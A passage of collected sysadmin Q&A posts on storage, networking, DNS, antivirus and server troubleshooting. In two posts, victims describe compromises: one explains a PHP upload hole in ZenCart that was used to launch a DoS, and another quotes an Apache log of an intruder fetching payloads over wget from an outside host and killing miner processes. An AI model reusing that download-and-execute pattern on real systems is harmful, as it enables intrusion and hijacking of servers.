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• Educate me - should I buy these prebuilt NAS (which is better) or make my own?

  - by user29336

  I'm trying to learn as much as possible, and I think I've learned quite a bit so bear with me here under my confusion. I found a coupe NAS setups. I'm not sure if one is better than the other, other than the price being higher on some, and some coming with drives VS not. Let me list my setup so you can get an idea of what I want to provide: Macbook Pro Macbook Mini for Media streaming (so far) Windows 7 Gaming Computer Xbox 360 I'd like to provide a storage system for all these devices so they can access files very easily, I'd also like any of these devices to be able to stream media from this storage system. I'd like this storage system to be hassle free in terms of my confidence in the data integrity. If a drive fails, I want to know that I can replace the drive and all my files will still exist. I'd like to access this storage system OUTSIDE of my LAN. If I'm out on a job for work I'd like to go in, or be able to have people DL some files. This brings me to a question, is this what iSCSI is? I'd like this data system to be able to download torrents. I want to mount any drive on this storage system onto my OSX laptop as if it were a local drive attached. (Is this with iSCSI is?) I'd like this system to have a GOOD web based GUI. I don't want to install software to use it. I believe those are the most of my requirements. If I'm missing something that I have no knowledge about, can someone educate me? Here are the systems I found: $729ish on Newegg Lacie 5Big Network 2 (comes with 5TB of space. iSCSI / mac compatible, torrents, nice ui, + others?) Is this overpriced for what it provides? It almost seems like a great deal to me because of the 5TB of space it comes with vs the other NAS systems that don't come with storage but cost $600-700. Should I get a different NAS system? Netgear? Others? Do they have same features? Better? Is it better to buy your own disks? What about making my own? I'm tech savy all around. It seems cheaper to buy a premade one especially with the support/warranty it provides...

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• Anti-virus protection question?

  - by DaBaer

  About 4 years ago, I found Kaspersky and have been using the most current version since. Most people try and argue the use of AVG or Avast to me, and there are some very solid reasons I do not go that route. Over the years, I have found Kasp to become bulkier and bulkier, and have had issues setting it up for friends/family/clients. I am just curios on possible recommendations from other users, with my criteria in mind: What I like about Kasp in the past: The license sold in stores in a 3 pack, is considered a commercial license, and emails from Kasp in response to my questions, make it clear that I can do with the 3 licenses that I want, providing I do not use more than 3 installs per Key. So, allowed me to buy 3, 5, and 7 packs, and resell to users at a cheaper cost than what they would pay if they bought their own license. The ability to easily obtain a currently updated .exe for installation on multiple peoples machines. Power of the scan. Kasp has been a good solution for me (even when using a trial license) on cleaning up machines that were badly infected (in which AVG and AVAST were unable to.) Speed of install/update. After a cleanup of malwarebytes, spybot, mcafee stinger, ccleaner, and combofix, I used to be able to get Kasp Int Security installed and updated in around 5 minutes. The issues that I have with the free AV, is strength of protection. In my opinion for someone who is a 'power use' these are good alternatives, because such a user should be trained or knowledgeable enough to be careful and not get themselves in trouble. Most of the users I assist, are too PC ignorant to know any better, and go hogwild on the web. It has been my experience that the number of people coming back to me with spyware/malware/virus issues since I have converted from AVG to Kasp has been cut down to around 20% of what it used to be 4 or 5 years ago. In a perfect world, I could install and use Kasp Internet Security 2008, and be very happy. But this is not the case anymore. So after this long description of what I used, and have used, does anyone have any good recommendations on AV that isn't going to cost me too much per install?

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• a couple of questions about proxy server,vpn & how they works

  - by Q8Y

  I have a couple of questions that are related to security. Correct me if i'm wrong :) If I want to request something (ex: visiting www.google.com): my computer will request that then it will to the ISP then to my ISP proxy server that will take the request and act as a middle man in this situation ask for the site (www.google.com) and retrieve it then the proxy will send it back to me. I know that its being done like that. So, my question is that, in this situation my ISP knows everything and what I did request, and the proxy server is set by default (when I ask for an internet subscription). So, if I use here another proxy (lets assume that is a highly anonymous and my ISP can't detect my IP address from it), would I visit my ISP and then from my ISP it will redirect me to the new proxy server that I provide? Will it know that there is someone using another proxy? Or will it go to another network rather than my ISP? Because I didn't get the view clearly. This question is related to the first one. When I use a VPN, I know that VPN provides for me a tunneling, encryption and much more features that a proxy can't. So my data is travelling securely and my ISP can't know what I'm doing. But my questions are: From where is the tunneling started? Does it start after I visit the ISP network (since they are the one that are responsible for forwarding my data and requests)? If so, then not all my connection is tunneled in this way, there is a part that is not being tunneled. Since, every time I need to do anything I have to go to my ISP and ask to do that. Correct me if I misunderstand this. I know that VPN can let my computer be virtually in another place and access its resources (ex: be like in my office while I'm in my home. This is done via VPN). If I use a VPN service provider so that I can access the internet securely and without being monitored by my ISP. In this case, where is my encrypted data saved? Is it saved in my ISP or in the VPN service provider? If I use a VPN, does anyone on the internet know what I'm doing or who I am? Even the VPN service provider? Can they know me? I think they should know the person that is asking for this VPN service, am I right?

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• My server's been hacked EMERGENCY

  - by Grant unwin

  I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a DOS attack on our provider. The servers access to the Internet has been shut down which means over 5-600 of our clients sites are now down. Now this could be an FTP hack, or some weakness in code somewhere. I'm not sure till I get there. How can I track this down quickly? We're in for a whole lot of litigation if I don't get the server back up ASAP. Any help is appreciated. UPDATE Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed to resolve this problem, although it may not apply to many others in a different situation. I'll detail what we did. We unplugged the server from the net. It was performing (attempting to perform) a Denial Of Service attack on another server in Indonesia, and the guilty party was also based there. We firstly tried to identify where on the server this was coming from, considering we have over 500 sites on the server, we expected to be moonlighting for some time. However, with SSH access still, we ran a command to find all files edited or created in the time the attacks started. Luckily, the offending file was created over the winter holidays which meant that not many other files were created on the server at that time. We were then able to identify the offending file which was inside the uploaded images folder within a ZenCart website. After a short cigarette break we concluded that, due to the files location, it must have been uploaded via a file upload facility that was inadequetly secured. After some googling, we found that there was a security vulnerability that allowed files to be uploaded, within the ZenCart admin panel, for a picture for a record company. (The section that it never really even used), posting this form just uploaded any file, it did not check the extension of the file, and didn't even check to see if the user was logged in. This meant that any files could be uploaded, including a PHP file for the attack. We secured the vulnerability with ZenCart on the infected site, and removed the offending files. The job was done, and I was home for 2 a.m. The Moral - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole world is made aware of the vulnerability. - Always do backups, and backup your backups. - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server Fault. Happy servering!

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• Apache error log interpretation

  - by HTF

  It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

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• What happens to missed writes after a zpool clear?

  - by Kevin

  I am trying to understand ZFS' behaviour under a specific condition, but the documentation is not very explicit about this so I'm left guessing. Suppose we have a zpool with redundancy. Take the following sequence of events: A problem arises in the connection between device D and the server. This causes a large number of failures and ZFS therefore faults the device, putting the pool in degraded state. While the pool is in degraded state, the pool is mutated (data is written and/or changed.) The connectivity issue is physically repaired such that device D is reliable again. Knowing that most data on D is valid, and not wanting to stress the pool with a resilver needlessly, the admin instead runs zpool clear pool D. This is indicated by Oracle's documentation as the appropriate action where the fault was due to a transient problem that has been corrected. I've read that zpool clear only clears the error counter, and restores the device to online status. However, this is a bit troubling, because if that's all it does, it will leave the pool in an inconsistent state! This is because mutations in step 2 will not have been successfully written to D. Instead, D will reflect the state of the pool prior to the connectivity failure. This is of course not the normative state for a zpool and could lead to hard data loss upon failure of another device - however, the pool status will not reflect this issue! I would at least assume based on ZFS' robust integrity mechanisms that an attempt to read the mutated data from D would catch the mistakes and repair them. However, this raises two problems: Reads are not guaranteed to hit all mutations unless a scrub is done; and Once ZFS does hit the mutated data, it (I'm guessing) might fault the drive again because it would appear to ZFS to be corrupting data, since it doesn't remember the previous write failures. Theoretically, ZFS could circumvent this problem by keeping track of mutations that occur during a degraded state, and writing them back to D when it's cleared. For some reason I suspect that's not what happens, though. I'm hoping someone with intimate knowledge of ZFS can shed some light on this aspect.

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• new PC not work with existing router, but works fine when directly connecting to cable modem

  - by user34786

  I bought a new desktop PC (eMachine ET1331G-03W from WalMart) with windows 7 installed, but I can not access internet by connecting to my existing wireless router(LinkSys BEFW11S4) with wired cable. Though all other existing desktops and laptops have no problem connecting to the same router. However, the new desktop PC works fine and able to connect to internet if I bypass the router and directly hook up with the cable modem. At new PC when connecting to the router, I got the below information by typing ipconfig, the IP address looks wrong to me: autoconfiguration IPv4 Address: 169.254.71.140 subnet mask: 255.255.0.0 default gateway: (empty) NetBIOS over Tcpip: Enabled Typing ipconfig at all other desktop and laptop have values like below, which are good to me: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.140 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 The wireless router was on 192.168.1.1, I do not know why the new desktop got 169.254.71.140 IP? It should have something like 192.168.1.xxx, and it was configured to automatically get IP by DHCP. I have tried to switch cables,power off cable modem, router and reboot new pc many times and got no luck. So I believe this is only an issue related to router or new pc configuration. Can someone help me figure out the issue?

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• Why is BIND giving me a SERVFAIL in this case? (Notes inside)

  - by imaginative

  Woke up this morning to a bunch of the following: root@foo:/etc/bind# dig @1.2.3.4 foo.example.com ; <<>> DiG 9.6.1-P2 <<>> @1.2.3.4 foo.example.com ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 36121 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;;foo.example.com. IN A ;; Query time: 0 msec ;; SERVER: 1.2.3.4#53(1.2.3.4) ;; WHEN: Thu Apr 1 09:57:59 2010 ;; MSG SIZE rcvd: 31 Some background on the fictitious "1.2.3.4". It's a slave name server in my nameserver "farm". Technically I have ns1 (being the master) and ns2/ns3. Currently ns1/ns2 are down for maintenance, so I left ns3 at it serving live traffic. That's the point, DNS is supposed to be resilient. Now the odd part is, "1.2.3.4" was serving requests for example.com just fine for the last 4-5 days. This morning I get a phone call that it's non-responsive. After investigation I see the message you see above, SERVFAIL. I looked into the zone file and saw the following: example.com IN SOA ns1.example.com. hostmaster.mail.example.com. ( I wondered if at this point that the nameserver thought it was not authoritative over example.com and adjusted it to the following: example.com IN SOA ns3.example.com. hostmaster.mail.example.com. ( After that, it started responding again for all authoritative queries for example.com. I have no idea why. I thought these things were supposed to be normalized upon zone transfer from ns1 - ns3? Can someone please example why this happened and how to prevent it from happening in the future? I've never had a similar problem, and because I don't understand it well, I might be missing some critical information in this question. So please let me know if I can further add any detail to make things clearer as well. One more thing to note: I have other domains that I'm authoritative for that have their SOA still saying ns1.example.com. and not ns3.example.com. Those domains are serving requests just fine! Is it a matter of time before they stop also and I have to change SOA to ns3.example.com? Is this also only required because ns1 and ns2 are currently offline?

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• VPN Connection Causes Internal LAN Connection Loss with Server

  - by sleepisfortheweak

  I've tried configuring basic PPTP VPN at my small business using a number of different tutorials. As far as I can tell, the actual VPN connection worked fine, but upon connecting a client, the Server 'disappears' from the internal LAN. The RRAS service must be stopped before the connection is restored. My Setup: The network is simply a DSL Gateway/Router to the outside functioning as NAT/Firewall/DHCP. The server is a Win Server 2008 machine at fixed IP 192.168.1.200. The server has 1 NIC, so I used the 'custom' option when configuring RRAS. The RRAS settings should be default except that I've disabled ports for connection types I'm not using and reduced PPTP ports to 10. I've also created an address pool and disabled DHCP packet forwarding. The server only functions as a File Share and now a VPN Server. Local LAN computers all have mapped network shares to the server authenticated based on Local User/Group setup on the server. The Problem: The moment a client connects through VPN, the server 'disappears' from the local network. All mapped drives disconnect and there is no response to a ping 192.168.1.200. Even if the client disconnects, the server does not re-appear at that address until the RRAS service is stopped. I've Tried: Using an Address Pool inside and outside the local subnet. Using DCHP Relay Checking Inbound/Outbound filters (none enabled) The fact that nothing I've tried has had any effect, and that I can connect and successfully obtain an IP tells me that it's something more fundamental I'm missing. My gut tells me that it's something to do with the second IP address added by the VPN client somehow taking over the interface or traffic from the local LAN accidently getting routed to the VPN client instead of handled at the server once RRAS has become 'active' when a client connects. Hopefully this may be obvious to someone with real IT experience. I've been doing this a while and almost never been stumped. I'm starting to think it might actually be something tricky since my setup is pretty basic yet refuses to work. I'll be happy to include more info if this doesn't ring any bells right away for anyone. Thanks

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• Why would a process monitoring script use exit 1; on finding no problems?

  - by user568458

  General question: On a Linux (Centos) server, if a process monitoring script run by cron is set to close with exit 1; rather than exit 0; on finding that everything is okay and that no action is needed, is that a mistake? Or are there legitimate reasons for calling exit 1; instead of exit 0; on the "Everything's fine, no action needed" condition? exit 0; on finding no problems seems to me to be more appropriate. But maybe there's something I'm not aware of. For example, maybe there's something specific to Cron? Or maybe there's a convention in process monitoring scripts that 'failure' means 'this script failed to need to fix a problem' (rather than what I would expect which is that exit 1; would mean 'the process being monitored has failed'?) My specific case: I'm looking at a process monitoring script written by my web hosting company. By process monitoring script, I mean a script executed by Cron on a regular basis that checks if an important system process is running, and if it isn't running, takes actions such as mailing an administrator or restarting the process. Here's the (generalised) structure of their script, for a service running on port 8080 (in this case, Apache Tomcat): SERVICE=$(/usr/sbin/lsof -i tcp:8080 | wc -l); if [ $SERVICE != 0 ]; then exit 1; else #take action fi Seems simple enough even for someone with limited knowledge like me, except the exit 1; part seems odd. As I understand it, exit 0; closes a program and signifies to the parent that executed the program that everything is fine, exit n; where n0 and n<127 signifies that there has been some kind of error or problem. Here, their script seems to go against that rule - it calls exit 1; in the condition where everything is fine, and doesn't exit after taking remedial action in the problem condition. To me, this looks like a mistake - but my experience in this area is limited. Are there cases where calling exit 1; in the "Everything's fine, no action needed" condition is more appropriate than calling exit 0;? Or is it a mistake? Wider context is pretty simple. It's a Centos VPS, running Plesk. The script is being called by Cron via Plesk's "Scheduled tasks" Cron manager. There's no custom layer between Cron and this script that would respond in an unusual way to the exit call. It's a fairly average, almost out-of-the box Plesk-managed Centos VPS (in so far as there is such a thing). The process being monitored by this script is Apache Tomcat.

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• 20GB+ worth of emails in my /home what is a better solution for that?

  - by Skinkie

  My email storage requirements are outgrowing anything reasonable with respect to local mail storage. As we speak 99% of my home partition is filled with personal mail in Thunderbirds mail dirs. Needless to say, this is just painful, badly searchable and as history has proven me that backups work, but Thunderbird is capable of loosing a lot of mail very easily. Currently I have an remote IMAPS server (Dovecot) running for my daily mail, accessible from anywhere, which from my own practice works efficiently up to about 1000 emails. Then some archive directories should be used to move mail around. I have been looking into DBMail, but I wonder if I make my case worse or better which such solution. None of the supported database employ string deduplication or string compression out of the box, so is this going to help me with 20GB+ mail? What about falling back to a plain old IMAP server? A filesystem like ZFS would support stuff like GZIP transparently, which could help. Could someone share their thoughts? The 20GB mostly consists of mailinglists, and normal mail. Not things like attachments. To add some clarifications; As we speak, my mail is not server side indexed at all - only my new mail arrives at a remote IMAP server. It is all local storage from former POP3 accounts, local mirrored Gmail and IMAP accounts. In my perspective it is not Thunderbird that sucks, its fileformat that sucks. Regarding the 1000 mails. On the road I am using Alpine and MobileMail, quite happy with both of them, but some management is required to actually manage the mail. Sieve helps a lot with that, but browing through 10.000 e-mails is not fun, especially not on a mobile client. I am quite happy with Dovecot, never had any issues with it. I just wonder if this is the way to go. Or if there are any other better solutions. What my question is: what is the best practice solution that allows 20GB+ mails and is -on demand remotely accessible, easy to backup and archive worthy. It doesn't need to be available 24x7. The final approach I took was installing a local IMAP server (Dovecot), configured it for being my archive, using the following guide: http://en.gentoo-wiki.com/wiki/Dovecot/InstallThunderbird

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• How to use AD/GPO/Print Services to "push out" a new printer driver to replace a broken one? How did my server get a broken driver?

  - by Zac B

  Context: We have an AD/GPO-managed corporate network with a little over a hundred PCs running Windows 7 x64, and a few managed printers. Our Server2008R2 primary domain controller is configured as a print server for them all. Problem: After a recent windows update and restart (no printer driver updates were included) on the DC, a particular shared printer (Lexmark T650) has begin exhibiting some strange behavior. First, it prints a preceding and following blank page for almost every document, on jobs submitted by about half of client machines (no separator page is configured on the server or any of the clients I've seen). Second, whenever someone tries to access "Printing Preferences" on any client, they recieve the following error message (this happens everywhere, 100% of the time, and didn't happen before the update on the DC): Once they click "OK", the prefs screen appears (with no separator page selected) and everything seems fine. I'm not even sure if these two issues are related, but everyone seems affected by one or both of those issues. What I've Tried: I've been hesitant to un-deploy the problem printer, or remove it via GPO, as it's pretty heavily used. I've tried updating (via MS update and our internal WSUS server) client machines and the DC. No printer driver updates have appeared, and no number of updates or restarts on the server or the client seems to have achieved anything other than my boss getting grumpy that I'm bouncing the domain controller so often. I've tried deleting the drivers on the server, and re-installing them from the original source that has worked for the past year...no change. I've tried selecting "New Driver" for one of the shared printers on a client machine, running as domain admin, and pushed the latest driver found by MSupdate back up to the DC. This changed the version number of the driver recorded in the print server manager, but caused no change--on the client I pushed from, or on any other. The error still appears. Question: Why the heck is this happening? Obviously, I got a bad driver from somewhere, but how do I get rid of it? I don't know of any "roll back drivers" functionality for centrally managed print drivers like Windows offers for other devices. How would I a) get this issue resolved on a client, and b) push the fix to the other members of the domain?

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• Linux: find out what process is using all the RAM?

  - by Timur

  Before actually asking, just to be clear: yes, I know about disk cache, and no, it is not my case :) Sorry, for this preamble :) I'm using CentOS 5. Every application in the system is swapping heavily, and the system is very slow. When I do free -m, here is what I got: total used free shared buffers cached Mem: 3952 3929 22 0 1 18 -/+ buffers/cache: 3909 42 Swap: 16383 46 16337 So, I actually have only 42 Mb to use! As far as I understand, -/+ buffers/cache actually doesn't count the disk cache, so I indeed only have 42 Mb, right? I thought, I might be wrong, so I tried to switch off the disk caching and it had no effect - the picture remained the same. So, I decided to find out who is using all my RAM, and I used top for that. But, apparently, it reports that no process is using my RAM. The only process in my top is MySQL, but it is using 0.1% of RAM and 400Mb of swap. Same picture when I try to run other services or applications - all go in swap, top shows that MEM is not used (0.1% maximum for any process). top - 15:09:00 up 2:09, 2 users, load average: 0.02, 0.16, 0.11 Tasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie Cpu(s): 0.0%us, 0.0%sy, 0.0%ni,100.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 4046868k total, 4001368k used, 45500k free, 748k buffers Swap: 16777208k total, 68840k used, 16708368k free, 16632k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ SWAP COMMAND 3214 ntp 15 0 23412 5044 3916 S 0.0 0.1 0:00.00 17m ntpd 2319 root 5 -10 12648 4460 3184 S 0.0 0.1 0:00.00 8188 iscsid 2168 root RT 0 22120 3692 2848 S 0.0 0.1 0:00.00 17m multipathd 5113 mysql 18 0 474m 2356 856 S 0.0 0.1 0:00.11 472m mysqld 4106 root 34 19 251m 1944 1360 S 0.0 0.0 0:00.11 249m yum-updatesd 4109 root 15 0 90152 1904 1772 S 0.0 0.0 0:00.18 86m sshd 5175 root 15 0 90156 1896 1772 S 0.0 0.0 0:00.02 86m sshd Restart doesn't help, and, by they way is very slow, which I wouldn't normally expect on this machine (4 cores, 4Gb RAM, RAID1). So, with that - I'm pretty sure that this is not a disk cache, who is using the RAM, because normally it should have been reduced and let other processes to use RAM, rather then go to swap. So, finally, the question is - if someone has any ideas how to find out what process is actually using the memory so heavily?

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• Repair corrupt hard disk on Mac without install CD

  - by Sarah

  The hard disk of my late 2009 MacBook Pro appears to have become corrupted. I am traveling and do not have my install CD (and won't for several weeks, nor will I be anywhere near an Apple store). The hard disk is not the original, which failed in June 2011. It's some Hitachi replacement installed by IT. History: I was typing an email this afternoon, my computer suddenly started making soft clicking sounds and then froze. I was not moving around. I rebooted, which took a while. I heard more clicking sounds and the computer froze at least once again. It's now kind of working, with mdworker sucking up one CPU. There are no awkward hard drive sounds when I run Chrome or play music. However, when I launched Stickies, I found no trace of my saved Stickies. I ran a live disk verification from within Disk Utility, and it reported Problem: As reported, I don't have access to an installation disc and am nowhere near an area where I can get one for at least two weeks. I have the option of asking someone to go to some trouble and expense to get one for me, but I'm not sure it's worth it: I've read that I can use fsck from single-user mode to repair the disk. Should I just try this? Is it risky? I'm concerned that the clicky sound portends imminent (mechanical) hard drive failure, so it's not worth doing a silly repair. This hard disk is backed up, but I definitely won't be able to access the backup while traveling. I'd like to maximize the probability that I can keep using my computer (and all its current files) while traveling. Update I bit the bullet and ran fsck -fy from single-user mode. It only needed one pass (modification) to reach the "okay" stage. However, rebooting took nearly 5 min and involved several rounds of scratchy sounds and a few bad clicks. I'm now back to kind of using my computer (the same files are missing as before). When I ran live disk verification from Disk Utility this time, however, it reported that the volume appears to be OK. Am I right to infer from the scratchy sounds, however, that my hard drive is still rapidly on its way out? Is there anything else I can do to increase its functionality over the next few weeks?

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• How to find the process(es) which are hogging the machine

  - by Aaron Digulla

  Scenario: All of a sudden, my computer feels sluggish. Mouse moves but windows take ages to open, etc. uptime says the load is 7.69 and raising. What is the fastest way to find out which process(es) are the cause of the load? Now, "top" and similar tools isn't the answer because they either show CPU or memory usage but not both at the same time. What I need is the single command which I might be able to type as it happens - something that will figure out any of System is trying to swap 8GB of RAM to disk because process X ... or process X seeks all over the disk or process X uses 400% CPU" So what I'm looking for is iostat, htop/atop and similar tools run into one with an output like this: 1235 cp - Disk trashing 87 chrome - Uses 2&nbsp;GB of RAM 137 nfs_bench - Uses 95% of the network bandwidth I don't want a tool that gives me some numbers which I can analyze but a tool that tells me exactly which process causes the current load. Assume that the user in front of the keyboard barely knows how to write "process", but the user is quickly overwhelmed when it comes to "resident size", "virtual memory" or "process life cycle". My argument goes like this: A user notices a problem. There can be thousands of reasons ... well, almost :-) The user wants to know the source of the problem. The current solutions give me lots of numbers, and I need to know what these numbers mean. What I'm looking for is a meta tool. 99% of the data is irrelevant to the problem. So what the tool should do is look for processes which hog some resource and list only those along with "this process needs a lot of CPU, this produces many IRQs, this process allocates a lot of RAM (and it's still growing)". This will be a relatively short list. It will be much more simple for someone new to this to locate the culprit from this list than from the output of, say, htop which gives me about 5000 numbers but requires me to fold multi-threaded processes myself (I have 50 lines which say VIRT 2750M but only 16 GB of RAM - the machine ought to swap itself to death but of course, this is a misinterpretation of the data that can happen quickly).

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• Nginx Rewrite Rule For File Within Folder Not Working

  - by user3620111

  Good evening everyone or possible early morning if you are in my neck of the woods. My problem seems trivial but after several hours of testing, researching and fiddling I can't seem to get this simple nginx rewrite function to work. There are several rewrites we need, some will have multiple parameters but I cant even get this simple 1 parameter current url to alter at all to the desired. Current: website.com/public/viewpost.php?id=post-title Desired: website.com/public/post/post-title Can someone kindly point me to as what I have done wrong, I am baffled / very tired... For testing purposes before we launch we were just using a simple port on the server. Here is that section. # Listen on port 7774 for dev test server { listen 7774; server_name localhost; root /usr/share/nginx/html/paa; index index.php home.php index.html index.htm /public/index.php; location ~* /uploads/.*\.php$ { if ($request_uri ~* (^\/|\.jpg|\.png|\.gif)$ ) { break; } return 444; } location ~ \.php$ { try_files $uri @rewrite =404; fastcgi_index index.php; include fastcgi_params; fastcgi_pass php5-fpm-sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_intercept_errors on; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } location @rewrite { rewrite ^/viewpost.php$ /post/$arg_id? permanent; } } I have tried countless attempts such as above @rewrite and simpler: location / { rewrite ^/post/(.*)$ /viewpost.php?id=$1 last; } location ~ \.php$ { try_files $uri =404; fastcgi_index index.php; include fastcgi_params; fastcgi_pass php5-fpm-sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_intercept_errors on; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } I can not seem to get anything to work at all, I have tried changing the location tried multiple rules... Please tell me what I have done wrong. Pause for facepalm [relocated from stack overflow as per mod suggestion]

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• Python cannot go over internet network

  - by user1642826

  I am currently trying to work with python networking and I have reached a bit of a road block. I am not able to network with any computer but localhost, which is kind-of useless with what networking is concerned. I have tried on my local network, from one computer to another, and I have tried over the internet, both fail. The only time I can make it work is if (when running on the server's computer) it's ip is set as 'localhost' or '192.168.2.129' (computers ip). I have spent hours going over opening ports with my isp and have gotten nowhere, so I decided to try this forum. I have my windows firewall down and I have included some pictures of important screen shots. I have no idea what the problem is and this has spanned almost a year of calls to my isp. The computer, modem, and router have all been replaced in that time. Screen shots: import socket import threading import socketserver class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler): def handle(self): data = self.request.recv(1024) cur_thread = threading.current_thread() response = "{}: {}".format(cur_thread.name, data) self.request.sendall(b'worked') class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass def client(ip, port, message): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) try: sock.sendall(message) response = sock.recv(1024) print("Received: {}".format(response)) finally: sock.close() if __name__ == "__main__": # Port 0 means to select an arbitrary unused port HOST, PORT = "192.168.2.129", 9000 server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler) ip, port = server.server_address # Start a thread with the server -- that thread will then start one # more thread for each request server_thread = threading.Thread(target=server.serve_forever) # Exit the server thread when the main thread terminates server_thread.daemon = True server_thread.start() print("Server loop running in thread:", server_thread.name) ip = '12.34.56.789' print(ip, port) client(ip, port, b'Hello World 1') client(ip, port, b'Hello World 2') client(ip, port, b'Hello World 3') server.shutdown() I do not know where the error is occurring. I get this error: Traceback (most recent call last): File "C:\Users\Dr.Frev\Desktop\serverTest.py", line 43, in <module> client(ip, port, b'Hello World 1') File "C:\Users\Dr.Frev\Desktop\serverTest.py", line 18, in client sock.connect((ip, port)) socket.error: [Errno 10061] No connection could be made because the target machine actively refused it Any help will be greatly appreciated. *if this isn't a proper forum for this, could someone direct me to a more appropriate one.

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• TrueCrypt partition will no longer mount

  - by sparkyuiop

  I am hoping for some advice to help me out of my situation, with luck. I have a computer running Windows 7 Ultimate x64 with 3 hard disks installed. On my 2TB hard disk 2 (non-system disk) I have 4 partitions. One is for music, another for video, a downloads partition and a 500GB RAW Truecrypt encrypted partition / volume that I had setup to mount with 4 photographs used as keyfiles. The 4 photographs are located in my 'Documents' partition which is one of four partitions on my 1.5TB hard disk 1 (non-system disk) When I setup the disk encryption I did not (I'm 99% sure) create a password, I only used the 4 photograph keyfiles to mount the volume. Recently my 1TB hard disk 0 (system / boot) started to fail so I decided to replace it. I was going to clone the old disk to a new disk but decided that a fresh installation would be more beneficial. Once I had transferred all the required 'User Data' from my old hard disk 0 (C: disk) I discarded it. I reinstalled Truecrypt, pointed to the partition, selected my 4 keyfiles photographs and I mounted my encrypted volume with no issues. In fact I mounted it several times after re-installing Windows and after reboots. Now all of a sudden when I try and mount it I get the message "incorrect keyfile(s) and/or password or not a Truecrypt volume". Now I am not sure why this happened as I do not recall exactly what I did between last mounting the volume successfully and it not mounting. Here are some of the possible things I may have done to cause it to stop working but I am at a loss as to where to start to try and resolve the problem. 1. I had swapped the drive letters to a preferred order. 2. I possibly swapped the physical SATA connectors on the mainboard. 3. I enabled 'Hot Plugging' for the two non-system hard disk SATA ports and the DVD SATA port in the BIOS. I have tried changing the encrypted partition drive letter as suggested in another post but this does not help. On my old system the encrypted drive was drive "X". I have about tried it with all the other free drive letters but alas nothing changes. I do not recall what drive letter was allocated to the encrypted partition before I changed them all. I have not tried to change the letter back to what it possibly was to start with as I am happy with the current layout. I will try this is anyone thinks it would be worthwhile though. I do hope I have managed to convey my situation in an understandable manner and live in hope someone could help me recover years of personal files. Thank you very much for taking the time to read my post and for any suggestions you may offer. Regards Phillip Thorne (UK) Anyone???

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• FTP script needs blank line

  - by Ones and Zeroes

  I am trying to determine the reason for some FTP servers requiring a blank line in the script as follows: open server.com username ftp_commands bye Refer to blank line required after username credentials. Example from: FTP from batch file another reference to the same: http://newsgroups.derkeiler.com/Archive/Comp/comp.sys.ibm.as400.misc/2008-05/msg00227.html Also discussed here: archive.midrange.com/midrange-l/200601/msg00048.html "The behavior I'm observing is the same as if I didn't specify the password to login." with an answer referring to our same fix... archive.midrange.com/midrange-l/200601/msg00053.html and archive.midrange.com/midrange-l/200601/msg00065.html Note: It is my experience that FTP questions attract uncouth responses. Admittedly FTP is outdated, but many clients still have legacy systems, which they cannot upgrade or replace. The reason thereof should not be discussed here. The intention of this question is to invite a positive response. Please do not respond if you disagree with the above. If you have never encountered this same issue, please do not respond. I suspect this may be limited to FTP scripts executed from Windows machines, but have been told that this happens often and with many different servers. My specific interest is to understand what may cause this as I have a real world example of a production system suddenly requiring this as a workaround fix, after running for many years without issue. The server belongs to a third party who claims no change on their end. Server details unknown and cannot be determined. Any help or encouragement from someone who has come across the same, would be appreciated. ps. Sorry for the many words and references to painful responses, but I have asked similar questions on serverfault and elsewhere and unfortunately got back kneejerk responses to FTP and respondents debating the validity of the question. I would 